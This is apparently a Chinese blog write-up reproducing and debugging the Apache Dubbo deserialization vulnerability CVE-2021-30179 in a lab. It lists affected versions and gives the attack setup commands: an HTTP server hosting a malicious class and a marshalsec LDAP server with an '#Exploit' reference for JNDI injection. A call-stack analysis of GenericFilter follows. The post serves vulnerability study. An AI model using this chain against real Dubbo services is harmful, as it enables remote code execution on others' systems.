apache Dubbo 反序列化攻击 CVE-2021-30179

apache Dubbo 反序列化攻击 CVE系列

原理

Apache Dubbo 默认支持泛化引用由服务端 API 接口暴露的所有方法,这些调用统一由 GenericFilter 处理。GenericFilter 将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成 pojo 对象。本漏洞通过 JavaNative 来实现反序列化,进而触发特定 Gadget ,最终导致了远程代码执行。

漏洞版本

CVE-2021-30179

* 适用版本:
*      Apache Dubbo 2.7.0 to 2.7.9
*      Apache Dubbo 2.6.0 to 2.6.9
*      Apache Dubbo all 2.5.x versions

CVE-2023-23638

存在漏洞版本 安全版本
2.7.x <= 2.7.21 2.7.x >= 2.7.22
3.0.x <= 3.0.13 3.0.x >= 3.0.14
3.1.x <= 3.1.5 3.1.x >= 3.1.6

环境搭建

image-20230504194643421

修改为新的dir(需要自己创建新目录)

image-20230504195403064

然后进Bin目录运行

image-20230504195909841

然后下载lz2y师傅的demo:https://github.com/lz2y/DubboPOC

下载后可以看到pom.xml里面写着

image-20230504203653726

2.7.20

idea打开后更新maven源,加载一下pom.xml,运行main即可

复现CVE-2021-30179

编译一下EvilClass

image-20230504222250779

python -m http.server 3388

image-20230504205805241

咱用marshalsec起一个jndi服务

D:\study\jdk\jdk8u65\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.239.54:3388/#Exploit" 8087

image-20230504222304116

我这边选择pom.xml版本为2.7.8,实测2.7.9也可打通

image-20230504222632564

我们尝试cve2021-30179

这里有3个poc,其实是三种利用

image-20230504222733756

前两个是jndi注入,但是实测可以请求到jndi服务器但是会报ClassNotFound,应该是我本地环境的问题

image-20230504222829346

最后一个poc3是反序列化注入,这里我们的demo用cc4依赖(jdk8u65),我打了一下可以(毕竟有依赖就必须会触发,比上面“找不到类”方便些)

image-20230504221919601

分析CVE-2021-30179

dubbo 完整处理请求流程如下:

validateClass:110, SerializeClassChecker (org.apache.dubbo.common.utils)
realize0:398, PojoUtils (org.apache.dubbo.common.utils)
realize:220, PojoUtils (org.apache.dubbo.common.utils)
realize:107, PojoUtils (org.apache.dubbo.common.utils)
invoke:96, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:61, FilterNode (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:61, FilterNode (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:61, FilterNode (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:41, InternalRunnable (org.apache.dubbo.common.threadlocal)
run:748, Thread (java.lang)

进recieve下个断点

image-20230504232244894

可以看到dubbo使用 DecodeHandler#received 方法接受来自 socket 的连接,当收到请求时会先调用 DecodeHandler#decode 处理请求。

注意到传进去的参数,其中cannal的url里面用的是dubbo协议,这个是dubbo支持的一直反序列化协议

image-20230504232322562

message里面的数据,就是我们报文里面定义的

image-20230504232620039

是不是似曾相识

image-20230504232837650

我们这里进去

image-20230504232546387

decode 完成之后,将调用 HeaderExchangeHandler#received,若

image-20230504233105601

image-20230504233405552

之后一路step in

为泛型引用,经过FilterNode、ClassLoaderFilter,最终调用 GenericFilter#invoke 方法。

image-20230504233544170

image-20230504233829219

再step in,则可以看到

public Result invoke(Invoker<?> invoker, Invocation inv) throws RpcException {
    return (Result)(inv.getMethodName().equals("$echo") && inv.getArguments() != null && inv.getArguments().length == 1 ? AsyncRpcResult.newDefaultAsyncResult(inv.getArguments()[0], inv) : invoker.invoke(inv));
}

调试后发现条件不满足,调用invoker.invoke(inv)

step in ,发现调的还是自己,继续step in,来到GenericFilter#invoke (真绕啊)

invoke 函数会对传入的 Invocation 对象进行校验:

  • 要求方法名等于 $invoke 或 $invoke_async
  • 要求参数长度 3
  • 要求invoker 的接口不能继承自 GenericService

代码就是这个:

(inv.getMethodName().equals("$invoke") || inv.getMethodName().equals("$invokeAsync")) && inv.getArguments() != null && inv.getArguments().length == 3 && !GenericService.class.isAssignableFrom(invoker.getInterface())

校验通过后会通过 getArguments() 方法获取参数。第一个参数为方法名,第二个参数为方法名的类型,第三个参数为args。

image-20230504234925007

然后通过 findMethodByMethodSignature 反射寻找服务端提供的方法(也就是章节2漏洞环境中的 sayHello 方法),如果没找到将抛出异常。

前面有一系列if,稍微进错一个都是抛出异常

image-20230504235447722

注意到这里使用的是nativejava过关的。而高版本dubbo默认关闭了NativeJava反序列化

如果启用了 NativeJava 反序列化,就会调用 deserialize.readObject 触发反序列化。

咱低版本反序列化了

image-20230504235629672

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇